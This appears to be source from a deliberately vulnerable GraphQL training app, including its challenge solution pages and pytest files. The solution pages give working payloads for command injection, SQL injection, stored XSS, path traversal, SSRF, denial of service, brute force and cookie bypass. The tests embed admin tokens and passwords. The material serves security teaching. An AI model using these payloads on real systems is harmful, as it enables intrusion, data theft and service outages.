11 | {% include 'partials/sidebar.html' %}
12 |
13 |
14 | {% block content %}
15 | {% endblock %}
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 | {% block scripts %}
25 | {% endblock %}
26 |
27 |
28 |
--------------------------------------------------------------------------------
/templates/partials/base_header.html:
--------------------------------------------------------------------------------
1 |
4 |
--------------------------------------------------------------------------------
/templates/partials/sidebar.html:
--------------------------------------------------------------------------------
1 |
14 |
--------------------------------------------------------------------------------
/templates/partials/solutions/solution_1.html:
--------------------------------------------------------------------------------
1 |
2 |
Denial of Service :: Batch Query Attack
3 |
4 |
Problem Statement
5 |
GraphQL supports Request Batching. Batched requests are processed one after the other by GraphQL, which makes it a good candidate for Denial of Service attacks, as well as other attacks such as Brute Force and Enumeration.
6 |
If a resource intensive GraphQL query is identified, an attacker may leverage batch processing to call the query and potentially overwhelm the service for a prolonged period of time.
7 |
The query systemUpdate
seems to be taking a long time to complete, and can be used to overwhelm the server by batching a system update request query.
8 |
Resources
9 |
13 |
14 |
Exploitation Solution Show
15 |
16 |
17 | # Beginner mode
18 |
19 | # We chain multiple resource intensive queries in an array and pass it to GraphQL
20 | data = [
21 | {"query":"query {\n systemUpdate\n}","variables":[]},
22 | {"query":"query {\n systemUpdate\n}","variables":[]},
23 | {"query":"query {\n systemUpdate\n}","variables":[]}
24 | ]
25 |
26 | requests.post('http://host/graphql', json=data)
27 |
28 | # Expert mode
29 |
30 | Cost Query Analysis is enabled, which should prevent running batched system updates from going through.
31 |
32 |
--------------------------------------------------------------------------------
/templates/partials/solutions/solution_10.html:
--------------------------------------------------------------------------------
1 |
2 |
Code Execution :: OS Command Injection #1
3 |
4 |
Problem Statement
5 |
6 | The mutation importPaste
allows escaping from the parameters and introduce a UNIX command by chaining
7 | commands. The GraphQL resolver does not sufficiently validate the input, and passes it directly
8 | into cURL
.
9 |
Resources
10 |
17 |
Exploitation Solution Show
18 |
19 |
20 | # Beginner mode
21 |
22 | # Import Paste allows specifying UNIX characters to break out of the URL provided to importPaste, using characters such as ";" "&&", "||", and more.
23 | mutation {
24 | importPaste(host:"localhost", port:80, path:"/ ; uname -a", scheme:"http"){
25 | result
26 | }
27 | }
28 |
29 | # Expert mode
30 |
31 | # Import Paste filters characters such as ";" and "&" but not "|", if you manage to cause the import to fail, you can double pipe it to a command that will execute in the context of the operating system.
32 | mutation {
33 | importPaste(host:"hostthatdoesnotexist.com", port:80, path:"/ || uname -a", scheme:"http") {
34 | result
35 | }
36 | }
37 |
38 |
--------------------------------------------------------------------------------
/templates/partials/solutions/solution_11.html:
--------------------------------------------------------------------------------
1 |
2 |
Code Execution :: OS Command Injection #2
3 |
4 |
Problem Statement
5 |
6 | The query systemDiagnostics
accepts certain UNIX binaries as parameters for debugging purposes, such as
7 | whoami
, ps
, etc. It acts as a restricted shell. However, it is protected
8 | with a username and password. After obtaining the correct
9 | credentials , the restricted shell seems to be bypassable by chaining commands together.
10 |
11 |
Resources
12 |
19 |
Exploitation Solution Show
20 |
21 |
22 | # System Diagnostics suffers from weak restricted shell implementation
23 |
24 | query {
25 | systemDiagnostics(username:"admin", password:"password", cmd:"id")
26 | }
27 |
28 | >>> Response:
29 | {
30 | "data": {
31 | "systemDiagnostics": "id: command not found"
32 | }
33 | }
34 |
35 |
36 | query {
37 | systemDiagnostics(username:"admin", password:"password", cmd:"id; ls -l")
38 | }
39 |
40 | >>> Response:
41 | {
42 | "data": {
43 | "systemDiagnostics": "total 128\ndrwxr-xr- .. COLORTERM=truecolor\n_=/usr/bin/env\n"
44 | }
45 | }
46 |
47 |
--------------------------------------------------------------------------------
/templates/partials/solutions/solution_12.html:
--------------------------------------------------------------------------------
1 |
2 |
Injection :: Stored Cross Site Scripting
3 |
4 |
Problem Statement
5 |
6 | The GraphQL mutations createPaste
and importPaste
allow creating and importing new pastes. The pastes may include any character without any restrictions. The pastes would then render in
7 | the Public and Private paste pages, which would result in a Cross Site Scripting vulnerability (XSS).
8 |
Resources
9 |
16 |
Exploitation Solution Show
17 |
18 |
19 | # Create New Paste allows special characters that would render in HTML.
20 | mutation {
21 | createPaste(title:"<script>alert(1)</script>", content:"zzzz", public:true) {
22 | paste {
23 | id
24 | }
25 | }
26 | }
27 |
28 | # Alternatively, importing a paste that includes Javascript will also result in the same behaviour.
29 | mutation {
30 | importPaste(host:"localhost", port:80, path:"/xss.html"")
31 | }
32 |
33 |
--------------------------------------------------------------------------------
/templates/partials/solutions/solution_13.html:
--------------------------------------------------------------------------------
1 |
2 |
Injection :: Log Injection // Log Spoofing
3 |
4 |
Problem Statement
5 |
6 | GraphQL actions such as mutation
and query
have the ability to take an operation name
as part of the query.
7 | Here is an example query that uses MyName
as an operation name:
8 |
query MyName {
9 | getMyName
10 | {
11 | first
12 | last
13 | }
14 | }
15 |
The application is keeping track of all queries and mutations users are executing on this system in order to display them in the audit log.
16 |
However, the application is not doing a fair job at verifying the operation name.
17 |
Resources
18 |
25 |
Exploitation Solution Show
26 |
27 |
28 | # Beginner mode:
29 |
30 | # Log spoof the operation to getPaste instead of createPaste
31 | mutation getPaste{
32 | createPaste(title:"<script>alert(1)</script>", content:"zzzz", public:true) {
33 | paste {
34 | id
35 | }
36 | }
37 | }
38 |
39 | # Inject to the log arbitrary strings
40 | query pwned {
41 | systemHealth
42 | }
43 |
44 |
45 | # Expert mode:
46 | Log injection should be impossible due to operation name allow-listing. Only a selection of expected operation names can be provided.
47 |
48 |
49 |
--------------------------------------------------------------------------------
/templates/partials/solutions/solution_14.html:
--------------------------------------------------------------------------------
1 |
2 |
Injection :: HTML Injection
3 |
4 |
Problem Statement
5 |
6 | Similarly to the Cross Site Scripting problem, a paste can also include HTML tags that would render in the application, resulting in an HTML injection.
7 |
8 |
Resources
9 |
16 |
Exploitation Solution Show
17 |
18 |
19 | # Create New Paste allows inserting HTML tags
20 | mutation {
21 | createPaste(title:"<h1>hello!</h1>", content:"zzzz", public:true) {
22 | paste {
23 | id
24 | }
25 | }
26 | }
27 |
28 | # Content of HTML_Injection.html
29 | # <h1> Hello </h1>!
30 | mutation {
31 | importPaste(host:"localhost", port:80, path:"/HTML_Injection.html"")
32 | }
33 |
34 |
--------------------------------------------------------------------------------
/templates/partials/solutions/solution_15.html:
--------------------------------------------------------------------------------
1 |
2 |
Injection :: SQL Injection
3 |
4 |
Problem Statement
5 |
6 | Pastes can be filtered using the filter
parameter and it allows sending raw strings as query filters which are prone to SQL injections.
7 |
8 |
Resources
9 |
16 |
Exploitation Solution Show
17 |
18 |
19 | # The filter parameter of the pastes operation allows escaping the SQL command and inject a SQL payload
20 | query {
21 | pastes(filter:"aaa ' or 1=1--") {
22 | content
23 | title
24 | }
25 | }
26 |
27 |
28 |
--------------------------------------------------------------------------------
/templates/partials/solutions/solution_16.html:
--------------------------------------------------------------------------------
1 |
2 |
Authorization Bypass :: GraphQL Interface Protection Bypass
3 |
4 |
Problem Statement
5 |
6 | GraphiQL is available at the path /graphiql
with a poorly implemented authorization check.
7 |
8 |
Resources
9 |
16 |
Exploitation Solution Show
17 |
18 |
19 | # Beginner mode
20 |
21 | # Cookie 'env' stores a string with an instruction to disable graphiql. altering the value to contain graphiql:enable will bypass the protection
22 |
23 | # Alter the env cookie to change "graphiql:disable" to "graphiql:enable" to bypass this check:
24 | requests.post('http://host/graphiql',
25 | json={"query":"query IntrospectionQuery{__schema {queryType { name } mutationType { name } subscriptionType { name }}}"},
26 | cookies={'env':'graphiql:enable'}
27 | )
28 |
29 | # Expert mode
30 | # GraphiQL interface is disabled.
31 |
32 |
--------------------------------------------------------------------------------
/templates/partials/solutions/solution_17.html:
--------------------------------------------------------------------------------
1 |
2 |
Authorization Bypass :: GraphQL Query Deny List Bypass
3 |
4 |
Problem Statement
5 |
6 | Creating an allow-list or deny-list for GraphQL is a common technique to prevent malicious queries from
7 | being resolved by GraphQL.
8 |
9 |
10 |
11 | By defining an allow-list , the application server will have a "known good" queries it will allow, and
12 | reject anything else.
13 |
14 |
15 | By defining a deny-list , the application server will have a "known bad" queries it will reject, and allow
16 | anything else.
17 |
18 |
19 |
20 | In general, the allow-list approach is easier to maintain and less error-prone, since we only allow certain things we
21 | trust. It does not mean it cannot have flaws too.
22 |
23 |
24 | The application has a deny-list mechanism implemented that attempts to reject Health queries using the
25 | systemHealth
query.
26 |
27 |
28 | The problem with this mechanism is that it does not take into consideration queries can have operation names .
29 |
30 |
Resources
31 |
43 |
Exploitation Solution Show
44 |
45 |
46 | # Expert mode
47 |
48 | # Query systemHealth directly by calling /graphql and supplying an arbitrary operation name.
49 |
50 | requests.post('http://host/graphql', json={"query":"query getPastes { systemHealth }"}, headers={'X-DVGA-MODE':'Expert'})
51 |
52 |
--------------------------------------------------------------------------------
/templates/partials/solutions/solution_18.html:
--------------------------------------------------------------------------------
1 |
2 |
Miscellaneous :: Arbitrary File Write // Path Traversal
3 |
4 |
Problem Statement
5 |
6 | The mutation uploadPaste
allows uploading pastes from the user's computer by specifying the file along
7 | with the filename. The pastes are then stored on the server under a dedicated folder. The filename
8 | argument allows any string, effectively providing the ability to write the file to any location on the server's
9 | filesystem by traversing folders using ../../
10 |
11 |
Resources
12 |
19 |
Exploitation Solution Show
20 |
21 |
22 | # Traverse the filesystem and place the file where you desire.
23 | mutation {
24 | uploadPaste(filename:"../../../../../tmp/file.txt", content:"hi"){
25 | result
26 | }
27 | }
28 |
29 |
--------------------------------------------------------------------------------
/templates/partials/solutions/solution_19.html:
--------------------------------------------------------------------------------
1 |
2 |
Miscellaneous :: GraphQL Query Weak Password Protection
3 |
4 |
Problem Statement
5 |
6 | The query systemDiagnostics
is an administrative functionality that allows running a subset of system
7 | commands on the server. The query is governed by a username and password before processing the
8 | command.
9 |
10 |
11 | The password is weak, and the server has no rate limiting protections. This allows attackers to easily conduct brute
12 | force attacks against the server.
13 |
Resources
14 |
21 |
Exploitation Solution Show
22 |
23 |
24 | # Brute Force attack with a list of passwords:
25 | passwordlist = ['admin123', 'pass123', 'adminadmin', '123']
26 |
27 | for password in passwordlist:
28 | resp = requests.post('http://host/graphql',
29 | json = {
30 | "query":"query {\n systemDiagnostics(username:\"admin\", password:\"{}\", cmd:\"ls\")\n}".format(password),
31 | "variables":None
32 | })
33 |
34 | if not 'errors' in resp.text:
35 | print('Password is', password)
36 |
37 |
--------------------------------------------------------------------------------
/templates/partials/solutions/solution_2.html:
--------------------------------------------------------------------------------
1 |
2 |
Denial of Service :: Deep Recursion Query Attack
3 |
4 |
Problem Statement
5 |
In GraphQL, when types reference eachother, it is often possible to build a circular query that grows exponentially to a point it could bring the server down to its knees. Countermeasures such as max_depth
can help mitigate these types of attacks.
6 |
The max_depth
functionality acts as a safeguard, and defines how deep a query can get, ensuring deeply constructed queries will not be accepted by GraphQL.
7 |
The application offers two types, namely Owner
and Paste
, which reference eachother (an owner has a paste, and a paste has an owner), allowing a recursive query to be executed successfully.
8 |
Resources
9 |
21 |
22 |
Exploitation Solution Show
23 |
24 |
25 | # Beginner mode:
26 |
27 | query {
28 | pastes {
29 | owner {
30 | pastes {
31 | owner {
32 | pastes {
33 | owner {
34 | pastes {
35 | owner {
36 | pastes {
37 | owner {
38 | pastes {
39 | owner {
40 | name
41 | }
42 | }
43 | }
44 | }
45 | }
46 | }
47 | }
48 | }
49 | }
50 | }
51 | }
52 | }
53 | }
54 |
55 | # Expert mode
56 |
57 | # A depth check is implemented which should prevent malicious queries from going through.
58 |
59 |
--------------------------------------------------------------------------------
/templates/partials/solutions/solution_20.html:
--------------------------------------------------------------------------------
1 |
2 |
Denial of Service :: Circular Fragment
3 |
4 |
Problem Statement
5 |
6 | The GraphQL API allows creating circular fragments, such that two fragments are cross-referencing eachother.
7 | When a Spread Operator (...
) references a fragment, which in return references a 2nd fragment that leads to the former fragment, may cause a recursive loop and crash the server.
8 |
9 |
Resources
10 |
22 |
Exploitation Solution Show
23 |
24 |
25 | query {
26 | ...A
27 | }
28 |
29 | fragment A on PasteObject {
30 | content
31 | title
32 | ...B
33 | }
34 |
35 | fragment B on PasteObject {
36 | content
37 | title
38 | ...A
39 | }
40 |
41 |
42 |
--------------------------------------------------------------------------------
/templates/partials/solutions/solution_21.html:
--------------------------------------------------------------------------------
1 |
2 |
Information Disclosure :: Stack Trace Errors
3 |
4 |
Problem Statement
5 |
6 | The dedicated GraphiQL API endpoint /graphiql
throws stack traces and debugging messages upon erroneous queries.
7 |
8 |
Exploitation Solution Show
9 |
10 |
11 | # Navigate to /graphiql
12 | # Query using invalid syntax and observe the response.
13 | query {
14 | pastes {
15 | conteeeent
16 | }
17 | }
18 |
19 |
20 |
--------------------------------------------------------------------------------
/templates/partials/solutions/solution_22.html:
--------------------------------------------------------------------------------
1 |
2 |
Authorization Bypass :: GraphQL JWT Token Forge
3 |
4 |
Problem Statement
5 |
6 | Without logging in a user is able to forge the user identity claim within the JWT token for the me
query operation.
7 |
8 |
Exploitation Solution Show
9 |
10 |
11 |
12 | query {
13 | me(token: "FORGED_TOKEN") {
14 | id
15 | username
16 | password
17 | }
18 | }
19 |
20 |
21 |
--------------------------------------------------------------------------------
/templates/partials/solutions/solution_3.html:
--------------------------------------------------------------------------------
1 |
2 |
Denial of Service :: Resource Intensive Query Attack
3 |
4 |
Problem Statement
5 |
Sometimes, certain queries may be computationally more expensive than others. A query may include certain fields that would trigger more complex backend logic in order to fulfill the query resolution. As attackers,
6 | we can abuse it by calling these actions frequently in order to cause resource exhaustion.
7 |
In GraphQL, a concept called Query Cost Analysis exists, which assigns weight values to fields that are more expensive to resolve than others. Using this feature, we can then create an upper threshold to reject
8 | queries that are expensive. Alternatively, a cache feature can be implemented to avoid repeating the same request in a short time window.
9 |
Resources
10 |
17 |
Exploitation Solution Show
18 |
19 |
20 | # Beginner mode
21 |
22 | # We measure the amount of time it takes a query to finish
23 | import time
24 |
25 | start = time.time()
26 | requests.post('http://host/graphql',
27 | json={"query":"query {\n systemUpdate\n}","variables":[]})
28 | end = time.time()
29 |
30 | print('Execution Time :: {} seconds'.format(end - start))
31 |
32 | # Execution Time :: 81.95908403396606 seconds
33 |
34 |
35 | # Expert mode
36 |
37 | # A Query Cost Analysis protection is implemented which should prevent bulk system updates!
38 |
39 |
--------------------------------------------------------------------------------
/templates/partials/solutions/solution_4.html:
--------------------------------------------------------------------------------
1 |
2 |
Denial of Service :: Field Duplication Attack
3 |
4 |
Problem Statement
5 |
Various GraphQL implementation do not bother de-duplicating repeating fields in GraphQL, allowing the user to multiply the same requested fields as they wish.
6 |
This causes extra load on the server to return the same fields over and over again.
7 |
There are a few ways in which this issue can be mitigated:
8 |
9 |
10 | Field De-Duplication
11 | Query Cost Analysis
12 |
13 |
14 |
Field De-Duplication can be achieved by using a middleware function to traverse the schema and remove any duplications, or simply analyze repeating patterns in order to reject the query.
15 |
Query Cost Analysis will be beneficial against these attacks, since each field will ultimately result in increased cost.
16 |
Resources
17 |
24 |
Exploitation Solution Show
25 |
26 |
27 | # Beginner mode
28 |
29 | query {
30 | pastes {
31 | owner {
32 | pastes {
33 | ipAddr # 1
34 | ipAddr # 2
35 | ipAddr # 3
36 | ipAddr # 4
37 | ipAddr # 1000
38 | }
39 | }
40 | }
41 | }
42 |
43 |
--------------------------------------------------------------------------------
/templates/partials/solutions/solution_5.html:
--------------------------------------------------------------------------------
1 |
2 |
Denial of Service :: Aliases based Attack
3 |
4 |
Problem Statement
5 |
In GraphQL, it is possible to run multiple queries without needing to batch them together.
6 |
If batching is disabled, you could build a query composed of multiple aliases calling the same query or mutation, if the server is not analyzing the cost of the query, it will be possible to overwhelm the server's resources by using expensive queries using aliases.
7 |
8 |
9 | Query Middleware
10 | Query Cost Analysis
11 |
12 |
13 |
Query Middleware is needed to identify the use of aliases in order to make a decision (reject/allow) based on your business logic.
14 |
Query Cost Analysis will be beneficial against these attacks, since each query will ultimately result in increased cost.
15 |
Resources
16 |
28 |
Exploitation Solution Show
29 |
30 |
31 | # Beginner mode
32 | # q1, q2 and q3 represent the aliases.
33 |
34 | query {
35 | q1: systemUpdate
36 | q2: systemUpdate
37 | q3: systemUpdate
38 | }
39 |
40 |
--------------------------------------------------------------------------------
/templates/partials/solutions/solution_6.html:
--------------------------------------------------------------------------------
1 |
2 |
Information Disclosure :: GraphQL Introspection
3 |
4 |
Problem Statement
5 |
GraphQL Introspection is a special query that uses the __schema
field to interrogate GraphQL for its schema.
6 |
7 | Introspection in itself is not a weakness, but a feature. However, if it is made available, it can be used and abused by attackers seeking information about your GraphQL implementation, such as what queries or mutations exist.
8 |
9 |
10 | It is recommended to disable introspection in production to avoid data leakages.
11 |
12 |
13 | Note: If introspection query is disabled, attackers may fall back to using the Field Suggestion feature to understand what queries and fields are supported by your GraphQL. Refer to Information Disclosure :: GraphQL Field Suggestions attack for more information.
14 |
15 |
16 |
Resources
17 |
44 |
Exploitation Solution Show
45 |
46 |
47 | # Beginner mode
48 |
49 | # Navigate to http://host/graphiql
50 | # Run Introspection query
51 |
52 | query {
53 | __schema {
54 | queryType { name }
55 | mutationType { name }
56 | subscriptionType { name }
57 | }
58 | }
59 |
60 |
61 | # Expert mode
62 |
63 | # Introspection is disabled, enumeration of fields and dynamic testing is required to understand the structure of the application.
64 |
65 |
66 |
--------------------------------------------------------------------------------
/templates/partials/solutions/solution_7.html:
--------------------------------------------------------------------------------
1 |
2 |
Information Disclosure :: GraphQL Interface
3 |
4 |
Problem Statement
5 |
6 | GraphQL has a an Integrated Development Environment named GraphiQL
(note the i
) that allows constructing queries in a friendly user interface.
7 |
8 |
9 | GraphiQL is usually found in paths such as: /graphiql
or /console
, however, it can be in other places too.
10 |
11 |
Resources
12 |
24 |
Exploitation Solution Show
25 |
26 |
27 | # Beginner mode
28 |
29 | # Browse to http://host/graphiql
30 |
31 | # Expert mode
32 |
33 | # GraphiQL will be disabled.
34 |
35 |
36 |
--------------------------------------------------------------------------------
/templates/partials/solutions/solution_8.html:
--------------------------------------------------------------------------------
1 |
2 |
Information Disclosure :: GraphQL Field Suggestions
3 |
4 |
Problem Statement
5 |
6 | GraphQL has a feature for field and operation suggestions. When a developer wants to integrate with a GraphQL API and types an incorrect field, as an example, GraphQL will attempt to suggest nearby fields that are
7 | similar.
8 |
9 |
10 | Field suggestions is not a vulnerability in itself, but a feature that can be abused to gain more insight into GraphQL's schema, especially when Introspection is not allowed.
11 |
12 |
13 |
Resources
14 |
36 |
Exploitation Solution Show
37 |
38 |
39 | # Beginner and Expert modes
40 |
41 | # Supplying incorrect fields will trigger GraphQL to disclose fields with similar names
42 | query {
43 | system
44 | }
45 |
46 | >>> Response:
47 | {
48 | "errors": [
49 | {
50 | "message": "Cannot query field \"system\" on type \"Query\". Did you mean \"pastes\", \"paste\", \"systemUpdate\" or \"systemHealth\"?",
51 | "locations": [
52 | {
53 | "line": 2,
54 | "column": 3
55 | }
56 | ]
57 | }
58 | ]
59 | }
60 |
61 |
--------------------------------------------------------------------------------
/templates/partials/solutions/solution_9.html:
--------------------------------------------------------------------------------
1 |
2 |
Information Disclosure :: Server Side Request Forgery
3 |
4 |
Problem Statement
5 |
6 | The GraphQL mutation importPaste
accepts arbitrary host, port and scheme to import pastes from and does
7 | not restrict input such as localhost or other internal servers from being used. This may allow
8 | forging requests on behalf of the application server to target other network nodes.
9 |
Resources
10 |
22 |
Exploitation Solution Show
23 |
24 |
25 | # Beginner and Expert modes
26 |
27 | # Any arbitrary host and ports can be used to make an outbound HTTP request
28 | mutation {
29 | importPaste(host:"localhost", port:57130, path:"/", scheme:"http") {
30 | result
31 | }
32 | }
33 |
34 |
--------------------------------------------------------------------------------
/templates/paste.html:
--------------------------------------------------------------------------------
1 | {% extends 'partials/base.html' %}
2 |
3 | {% block header %}
4 | {% include 'partials/base_header.html' %}
5 | {% endblock %}
6 |
7 | {% block content %}
8 |
9 |
10 | {% include 'partials/navbar.html' %}
11 |
12 |
13 | {% if page == "create_paste" %}
14 | {% include 'partials/pastes/create_paste.html' %}
15 | {% elif page == "import_paste" %}
16 | {% include 'partials/pastes/import_paste.html' %}
17 | {% elif page == "upload_paste" %}
18 | {% include 'partials/pastes/upload_paste.html' %}
19 | {% elif page == "my_pastes" %}
20 | {% include 'partials/pastes/my_pastes.html' %}
21 | {% elif page == "public_pastes" %}
22 | {% include 'partials/pastes/public_pastes.html' %}
23 | {% endif %}
24 |
25 |
26 | {% endblock %}
27 |
28 | {% block scripts %}
29 |
88 | {% include 'partials/base_scripts.html' %}
89 |
343 | {% endblock %}
344 |
--------------------------------------------------------------------------------
/templates/solutions.html:
--------------------------------------------------------------------------------
1 | {% extends 'partials/base.html' %}
2 |
3 | {% block header %}
4 | {% include 'partials/base_header.html' %}
5 | {% endblock %}
6 |
7 | {% block content %}
8 |
9 |
10 | {% include 'partials/navbar.html' %}
11 |
12 |
Challenge Solutions
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
Table of Contents
21 |
22 |
23 | Reconnaissance
24 |
32 |
33 |
34 | Denial of Service
35 |
55 |
56 |
57 |
58 | Information Disclosure
59 |
76 |
77 |
78 | Code Execution
79 |
87 |
88 |
89 | Injection
90 |
104 |
105 |
106 | Authorization Bypass
107 |
118 |
119 |
120 | Miscellaneous
121 |
129 |
130 |
131 |
132 |
133 |
134 |
135 |
Overview
136 |
137 |
Legend
138 |
139 | - GraphQL Official Documentation / Blog Posts
140 | - Code Snippet
141 | - GraphQL Security Utility
142 | - Published Vulnerability (H1, CVE, etc.)
143 |
144 |
145 |
146 | There may be more than one way to exploit any given vulnerability, the solutions demonstrated below aim to illustrate one way of achieving successful exploitation.
147 |
148 | Some solutions include code snippets that are written in Python and use the requests library for HTTP requests.
149 |
150 |
151 |
Getting Started
152 |
153 |
The first essential step in every security test is to gain a bit of insight into the technology the remote server is using. By knowing the technologies in use, you can start building up a plan how to attack the application or the underlying infrastructure.
154 |
For GraphQL, a tool called graphw00f exists. Let's explore how it can help us achieve detection and fingerprinting of GraphQL.
155 |
Detecting GraphQL
156 |
157 |
Detecting where GraphQL lives is pretty trivial, there are common places where you would typically see a graphql endpoint. For example, /graphql , /v1/graphql , etc.
158 |
Point graphw00f at DVGA to figure out where GraphQL lives:
159 |
160 | $> python3 graphw00f.py -d -t http://localhost:5013/graphql
161 | +-------------------+
162 | | graphw00f |
163 | +-------------------+
164 | *** ***
165 | ** ***
166 | ** **
167 | +--------------+ +--------------+
168 | | Node X | | Node Y |
169 | +--------------+ +--------------+
170 | *** ***
171 | ** **
172 | ** **
173 | +------------+
174 | | Node Z |
175 | +------------+
176 |
177 | graphw00f - v1.0.3
178 | The fingerprinting tool for GraphQL
179 | Dolev Farhi (dolev@lethalbit.com)
180 |
181 | Checking http://dvga.example.local:5013/graphql
182 | [*] Found GraphQL at http://dvga.example.local:5013/graphql
183 | [*] You can now try and fingerprint GraphQL using: graphw00f.py -t http://dvga.example.local:5013/graphql
184 |
185 |
186 |
187 |
Fingerprinting GraphQL
188 |
189 |
graphw00f can try and fingerprint GraphQL servers in order to determine the underlying implementation. By knowing what specific engine runs GraphQL, you can map what security mechanisms you may face during an assessment.
190 |
Point graphw00f at DVGA to figure out what technology it's running.
191 |
192 | $> python3 graphw00f.py -t http://dvga.example.local:5013/graphql -f
193 |
194 | [*] Checking if GraphQL is available at http://dvga.example.local:5013/graphql...
195 | [*] Found GraphQL...
196 | [*] Attempting to fingerprint...
197 | [*] Discovered GraphQL Engine: (Graphene)
198 | [!] Attack Surface Matrix: https://github.com/dolevf/graphw00f/blob/main/docs/graphene.md
199 | [!] Technologies: Python
200 | [!] Homepage: https://graphene-python.org
201 | [*] Completed.
202 |
203 |
204 |
As you can see, DVGA runs graphene. Use the Attack Surface Matrix to see how Graphene ships GrapQL by default from a security perspective .
205 |
206 | {% for solution in solutions %}
207 | {% include solution %}
208 |
209 | {% endfor %}
210 |
211 |
212 |
213 |
214 |
215 |
216 |
217 | {% endblock %}
218 |
219 | {% block scripts %}
220 | {% include 'partials/base_scripts.html' %}
221 |
231 | {% endblock %}
--------------------------------------------------------------------------------
/tests/common.py:
--------------------------------------------------------------------------------
1 | import requests
2 |
3 | import uuid
4 |
5 | from os import environ
6 |
7 | IP = environ.get('WEB_HOST', '127.0.0.1')
8 | PORT = environ.get('WEB_PORT', 5013)
9 |
10 | URL = 'http://{}:{}'.format(IP, PORT)
11 | GRAPHQL_URL = URL + '/graphql'
12 | GRAPHIQL_URL = URL + '/graphiql'
13 |
14 | def generate_id():
15 | return str(uuid.uuid4())[4]
16 |
17 | def graph_query(url, query=None, operation="query", headers={}):
18 | return requests.post(url,
19 | verify=False,
20 | allow_redirects=True,
21 | timeout=30,
22 | headers=headers,
23 | json={operation:query})
--------------------------------------------------------------------------------
/tests/test_args_and_directives.py:
--------------------------------------------------------------------------------
1 | from common import GRAPHQL_URL, graph_query
2 |
3 | def test_capitalize_field_argument():
4 | query = '''
5 | query {
6 | users {
7 | username(capitalize: true)
8 | }
9 | }
10 | '''
11 | r = graph_query(GRAPHQL_URL, query)
12 |
13 | assert r.json()['data']['users'][0]['username'] in ('Admin', 'Operator')
14 |
15 | def test_show_network_directive():
16 | query = '''
17 | query {
18 | pastes {
19 | ipAddr @show_network(style:"cidr")
20 | }
21 | }
22 | '''
23 | r = graph_query(GRAPHQL_URL, query)
24 |
25 | assert r.json()['data']['pastes'][0]['ipAddr'].endswith('/32')
26 |
27 | query = '''
28 | query {
29 | pastes {
30 | ipAddr @show_network(style:"netmask")
31 | }
32 | }
33 | '''
34 | r = graph_query(GRAPHQL_URL, query)
35 |
36 | assert r.json()['data']['pastes'][0]['ipAddr'].startswith('255.255.')
--------------------------------------------------------------------------------
/tests/test_auth.py:
--------------------------------------------------------------------------------
1 | import requests
2 |
3 | from common import GRAPHQL_URL, graph_query
4 |
5 | def test_mutation_login_success():
6 | query = '''
7 | mutation {
8 | login(username: "operator", password:"password123") {
9 | accessToken
10 | }
11 | }
12 | '''
13 | r = graph_query(GRAPHQL_URL, query)
14 |
15 | assert r.json()['data']['login']['accessToken']
16 |
17 |
18 | def test_mutation_login_error():
19 | query = '''
20 | mutation {
21 | login(username: "operator", password:"dolevwashere") {
22 | accessToken
23 | }
24 | }
25 | '''
26 | r = graph_query(GRAPHQL_URL, query)
27 |
28 | assert r.json()['errors'][0]['message'] == 'Authentication Failure'
29 |
30 |
31 | def test_query_me():
32 | query = '''
33 | query {
34 | me(token: "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ0eXBlIjoiYWNjZXNzIiwiaWF0IjoxNjU2ODE0OTQ4LCJuYmYiOjE2NTY4MTQ5NDgsImp0aSI6ImI5N2FmY2QwLTUzMjctNGFmNi04YTM3LTRlMjdjODY5MGE2YyIsImlkZW50aXR5IjoiYWRtaW4iLCJleHAiOjE2NTY4MjIxNDh9.-56ZQN9jikpuuhpjHjy3vLvdwbtySs0mbdaSq-9RVGg") {
35 | id
36 | username
37 | password
38 | }
39 | }
40 | '''
41 |
42 | r = graph_query(GRAPHQL_URL, query)
43 |
44 | assert r.json()['data']['me']['id'] == '1'
45 | assert r.json()['data']['me']['username'] == 'admin'
46 | assert r.json()['data']['me']['password'] == 'changeme'
47 |
48 |
49 | def test_query_me_operator():
50 | query = '''
51 | query {
52 | me(token: "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ0eXBlIjoiYWNjZXNzIiwiaWF0IjoxNjU2ODE0OTQ4LCJuYmYiOjE2NTY4MTQ5NDgsImp0aSI6ImI5N2FmY2QwLTUzMjctNGFmNi04YTM3LTRlMjdjODY5MGE2YyIsImlkZW50aXR5Ijoib3BlcmF0b3IiLCJleHAiOjE2NTY4MjIxNDh9.iZ-Sifz1WEkcy1CwX4c-rzI-QgfzUMqpWr2oYr8vZ1o") {
53 | id
54 | username
55 | password
56 | }
57 | }
58 | '''
59 |
60 | r = graph_query(GRAPHQL_URL, query)
61 |
62 | assert r.json()['data']['me']['id'] == '2'
63 | assert r.json()['data']['me']['username'] == 'operator'
64 | assert r.json()['data']['me']['password'] == '******'
--------------------------------------------------------------------------------
/tests/test_batching.py:
--------------------------------------------------------------------------------
1 | import requests
2 |
3 | from common import URL, GRAPHQL_URL, graph_query
4 |
5 | def test_batching():
6 | queries = [
7 | {"query":"query BATCH_ABC { pastes { title } }"},
8 | {"query":"query BATCH_DEF { pastes { content } }"}
9 | ]
10 |
11 | r = requests.post(GRAPHQL_URL, json=queries)
12 | assert r.status_code == 200
13 | assert isinstance(r.json(), list)
14 | assert len(r.json()) == 2
15 | for i in r.json():
16 | for paste in i['data']['pastes']:
17 | for field in paste.keys():
18 | assert field in ('title', 'content')
19 |
20 | def test_batched_operation_names():
21 | r = requests.get(URL + '/audit')
22 | assert r.status_code == 200
23 | assert 'BATCH_ABC' in r.text
24 | assert 'BATCH_DEF' in r.text
25 |
--------------------------------------------------------------------------------
/tests/test_cookies.py:
--------------------------------------------------------------------------------
1 | import requests
2 |
3 | from common import URL
4 |
5 | def test_check_graphiql_cookie():
6 | r = requests.get(URL + '/')
7 | assert r.status_code == 200
8 | assert 'env=graphiql:disable' in r.headers.get('Set-Cookie')
9 |
10 |
--------------------------------------------------------------------------------
/tests/test_graphiql.py:
--------------------------------------------------------------------------------
1 | import requests
2 |
3 | from common import GRAPHIQL_URL
4 |
5 | def test_check_batch_disabled():
6 | query = """
7 | query {
8 | __typename
9 | }
10 | """
11 | r = requests.post(GRAPHIQL_URL, verify=False, allow_redirects=True, timeout=4, json=[{"query":query}])
12 | assert not isinstance(r.json(), list)
13 | assert r.json()['errors'][0]['message'] == 'Batch GraphQL requests are not enabled.'
14 |
--------------------------------------------------------------------------------
/tests/test_graphql.py:
--------------------------------------------------------------------------------
1 | import requests
2 |
3 | from common import GRAPHQL_URL
4 |
